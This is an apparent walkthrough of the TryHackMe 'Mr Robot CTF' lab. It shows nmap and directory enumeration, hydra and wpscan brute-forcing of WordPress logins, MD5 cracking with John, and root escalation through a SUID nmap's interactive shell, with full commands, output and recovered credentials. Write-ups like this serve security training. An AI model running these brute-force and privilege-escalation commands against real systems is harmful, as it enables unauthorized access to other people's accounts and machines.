Information
Room
Name: Mr Robot CTF
Profile: tryhackme.com
Difficulty: Medium
Description : Based on the Mr. Robot show, can you root this box?
Write-up
Overview
Install tools used in this WU on BlackArch Linux:
$ sudo pacman -S nmap ffuf wpscan metapsloit hydra john gtfoblookup
Network enumeration
Port and service scan with nmap:
# Nmap 7.91 scan initiated Mon May 3 10:41:45 2021 as: nmap -sSVC -p- -oA nmap_full -v 10.10.127.122
Nmap scan report for 10.10.127.122
Host is up (0.029s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Issuer: commonName=www.example.com
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2015-09-16T10:45:03
| Not valid after: 2025-09-13T10:45:03
| MD5: 3c16 3b19 87c3 42ad 6634 c1c9 d0aa fb97
|_SHA-1: ef0c 5fa5 931a 09a5 687c a2c2 80c4 c792 07ce f71b
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 3 10:45:10 2021 -- 1 IP address (1 host up) scanned in 204.28 seconds
Let's add a domain name to the machine.
$ grep mrrobot /etc/hosts
10.10.127.122 mrrobot.thm
Web enumeration
The home page and linked pages are useless so let's find hidden pages.
$ ffuf -u http://mrrobot.thm/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
...
admin [Status: 301, Size: 235, Words: 14, Lines: 8]
css [Status: 301, Size: 233, Words: 14, Lines: 8]
wp-admin [Status: 301, Size: 238, Words: 14, Lines: 8]
wp-includes [Status: 301, Size: 241, Words: 14, Lines: 8]
images [Status: 301, Size: 236, Words: 14, Lines: 8]
js [Status: 301, Size: 232, Words: 14, Lines: 8]
wp-content [Status: 301, Size: 240, Words: 14, Lines: 8]
xmlrpc [Status: 405, Size: 42, Words: 6, Lines: 1]
blog [Status: 301, Size: 234, Words: 14, Lines: 8]
login [Status: 302, Size: 0, Words: 1, Lines: 1]
feed [Status: 301, Size: 0, Words: 1, Lines: 1]
video [Status: 301, Size: 235, Words: 14, Lines: 8]
rss [Status: 301, Size: 0, Words: 1, Lines: 1]
sitemap [Status: 200, Size: 0, Words: 1, Lines: 1]
image [Status: 301, Size: 0, Words: 1, Lines: 1]
audio [Status: 301, Size: 235, Words: 14, Lines: 8]
phpmyadmin [Status: 403, Size: 94, Words: 14, Lines: 1]
dashboard [Status: 302, Size: 0, Words: 1, Lines: 1]
wp-login [Status: 200, Size: 2613, Words: 115, Lines: 53]
readme [Status: 200, Size: 64, Words: 14, Lines: 2]
robots [Status: 200, Size: 41, Words: 2, Lines: 4]
license [Status: 200, Size: 309, Words: 25, Lines: 157]
intro [Status: 200, Size: 516314, Words: 2076, Lines: 2028]
Most of them like admin or wp-login are rabbit holes very long to answer (several minutes!),
I often have timeouts on wp-login.
The first key is easy to find: https://mrrobot.thm/robots
User-agent: *
fsocity.dic
key-1-of-3.txt
Grab the first key: https://mrrobot.thm/key-1-of-3.txt
We can also download the dictionary that may be useful later on.
$ wget https://mrrobot.thm/fsocity.dic
I tried to enumerate users with wpscan
but none was found.
$ wpscan --url https://mrrobot.thm/ -e u --no-banner --disable-tls-checks
So I will have to enumerate users with bruteforce.
Web exploitation: authentication bruteforce
It's possible to launch an attack with hydra but it will try one credential set
at a time. So instead it is more efficient to do the bruteforce using wpscan as
with XML-RPC it will be able to perform about 1000 per request. But XML-RPC
Multicall was not enabled here so the traditional XML-RPC is only testing one per
request but it's still more handy than having to craft a valid regexp with hydra.
So with wpscan we could perform the following command providing both a username
list and password list but that makes 736438585600 possibilities.
$ wpscan --url https://mrrobot.thm/ --no-banner --disable-tls-checks -U fsocity.dic -P fsocity.dic --login-uri '/wp-login' --password-attack xmlrpc
So to decrease the number of possibilities we should we could clean the wordlist first.
The wordlsit is big but there are tons of duplicates.
$ uniq fsocity.dic| wc
858160 858160 7245381
$ sort -u fsocity.dic| wc
11451 11451 96747
$ sort -u fsocity.dic > fsocity_uniq.dic
By cleaning the duplicates we can down it from 858k to 11k entries.
PS: The problem in this unrealistic scenario, is that by cleaning the wordlist
you move the right username (Elliot
) from the 15th line to the 5474th.
$ grep -nE '^Elliot$' fsocity.dic | head
15:Elliot
11457:Elliot
22899:Elliot
34341:Elliot
45783:Elliot
57225:Elliot
68667:Elliot
80109:Elliot
91551:Elliot
102993:Elliot
$ grep -nE '^Elliot$' fsocity_uniq.dic
5474:Ellio
Normally with Wordpress when you put a wrong username and password you get the
error ERROR: Invalid username
so you know this is not he right username.
So you only try to bruteforce usernames and when you found one you can bruteforce the
password only and your get this error while it's wrong:
ERROR: The password you entered for the username <username> is incorrect.
.
So it makes x + y
possibilities rather than x * y
possibilities.
But it seems that wpscan is not able to do that. With wpscan it is possible to
bruteforce only username if we know the password or just
bruteforce the password if we know the username but it's not possible to bruteforce
the username without knowing the password.
So instead we will have to bruteforce the username with hydra.
$ hydra -L fsocity.dic -p norajwhatever mrrobot.thm http-post-form "/wp-login/:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot.thm%2Fwp-admin%2F&testcookie=1:F=Invalid username"
In real life you would use the cleaned 11k fsocity_uniq.dic
wordlsit
(maybe just with the uniqueness without the sorting alphabetically) but since the
right username is at position 15th in the dirty wordlist we'll use this one.
$ hydra -L fsocity.dic -p norajwhatever mrrobot.thm http-post-form "/wp-login/:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot.thm%2Fwp-admin%2F&testcookie=1:F=Invalid username"
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-05-03 15:47:40
[DATA] max 16 tasks per 1 server, overall 16 tasks, 858235 login tries (l:858235/p:1), ~53640 tries per task
[DATA] attacking http-post-form://mrrobot.thm:80/wp-login/:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot.thm%2Fwp-admin%2F&testcookie=1:F=Invalid username
[80][http-post-form] host: mrrobot.thm login: Elliot password: norajwhatever
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
Now that we know the username, we can bruteforce the password with wpscan instead of hydra.
The only limit is that wpscan takes only wordlist so we have to create a wordlsit of 1
one username.
$ wpscan --url https://mrrobot.thm/ --no-banner --disable-tls-checks -U Elliot.txt -P fsocity_uniq.dic --login-uri '/wp-login' --password-attack xmlrpc
...
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - Elliot / ER28-0652
Trying Elliot / erased Time: 00:21:57 <============ > (5630 / 17081) 32.96% ETA: ??:??:??
PS: for the password it's actually more efficient to use the cleaned wordlist.
$ grep -nE '^ER28-0652$' fsocity.dic | head
858151:ER28-0652
$ grep -nE '^ER28-0652$' fsocity_uniq.dic
5627:ER28-0652
It took me 21 minutes with the cleaned wordlist and password at 5627th position,
so I let you imagine the time it would have required if I used the dirty
wordlist with the password at 858151th position. Honestly I had to check a
writeup because with such a long time of bruteforce I was thinking it was not the
right way.
Web exploitation: WP plugin RCE
Now that we are authenticated, I'll re-use a reverse shell plugin I used
in another THM WP room (Mr Robot CTF ).
I won't detail here how it works you can follow the exact same steps on my
previous write-up.
System enumeration
We can find the 2nd flag but can't read it.
daemon@linux:/home$ ls -lh /home
total 4.0K
drwxr-xr-x 2 root root 4.0K Nov 13 2015 robot
daemon@linux:/home$ ls -lhA /home/robot
total 8.0K
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
daemon@linux:/home/robot$ cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
The second file will certainly contain a md5 hash for the robot's password
that will allow us to connect via su
once cracked.
It was instantly cracked with JtR:
$ john hash.txt -wordlist=/usr/share/wordlists/passwords/rockyou.txt --format=raw-md5
...
abcdefghijklmnopqrstuvwxyz (robot)
Elevation of Privilege (EoP): from robot to root
Let's find SUID binaries:
robot@linux:~$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
-rwsr-xr-x 1 root root 69120 Feb 12 2015 /bin/umount
-rwsr-xr-x 1 root root 94792 Feb 12 2015 /bin/mount
-rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
-rwsr-xr-x 1 root root 36936 Feb 17 2014 /bin/su
-rwsr-xr-x 1 root root 47032 Feb 17 2014 /usr/bin/passwd
-rwsr-xr-x 1 root root 32464 Feb 17 2014 /usr/bin/newgrp
-rwsr-xr-x 1 root root 41336 Feb 17 2014 /usr/bin/chsh
-rwsr-xr-x 1 root root 46424 Feb 17 2014 /usr/bin/chfn
-rwsr-xr-x 1 root root 68152 Feb 17 2014 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 155008 Mar 12 2015 /usr/bin/sudo
-rwsr-xr-x 1 root root 504736 Nov 13 2015 /usr/local/bin/nmap
-rwsr-xr-x 1 root root 440416 May 12 2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10240 Feb 25 2014 /usr/lib/eject/dmcrypt-get-device
-r-sr-xr-x 1 root root 9532 Nov 13 2015 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
-r-sr-xr-x 1 root root 14320 Nov 13 2015 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 10344 Feb 25 2015 /usr/lib/pt_chown
It's easy to spot nmap on the list. And for sure we can EoP through it:
$ gtfoblookup linux suid nmap
nmap:
sudo:
Description: Input echo is disabled.
Code: TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
Description: The interactive mode, available on versions 2.02 to
5.21, can be used to execute shell commands.
Code: sudo nmap --interactive
nmap> !sh
$ gtfoblookup linux suid nmap
nmap:
suid:
Description: The payload appears inside the regular nmap output.
Code: LFILE=file_to_write
./nmap -oG=$LFILE DATA
Let's do it:
robot@linux:~$ /usr/local/bin/nmap --interactive
/usr/local/bin/nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !/bin/sh
# id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
nmap> !/bin/bash
bash-4.3$ id
uid=1002(robot) gid=1002(robot) groups=1002(robot)
Note: be sure to ask for sh
and not bash
at the last one has a security to drop
privileges.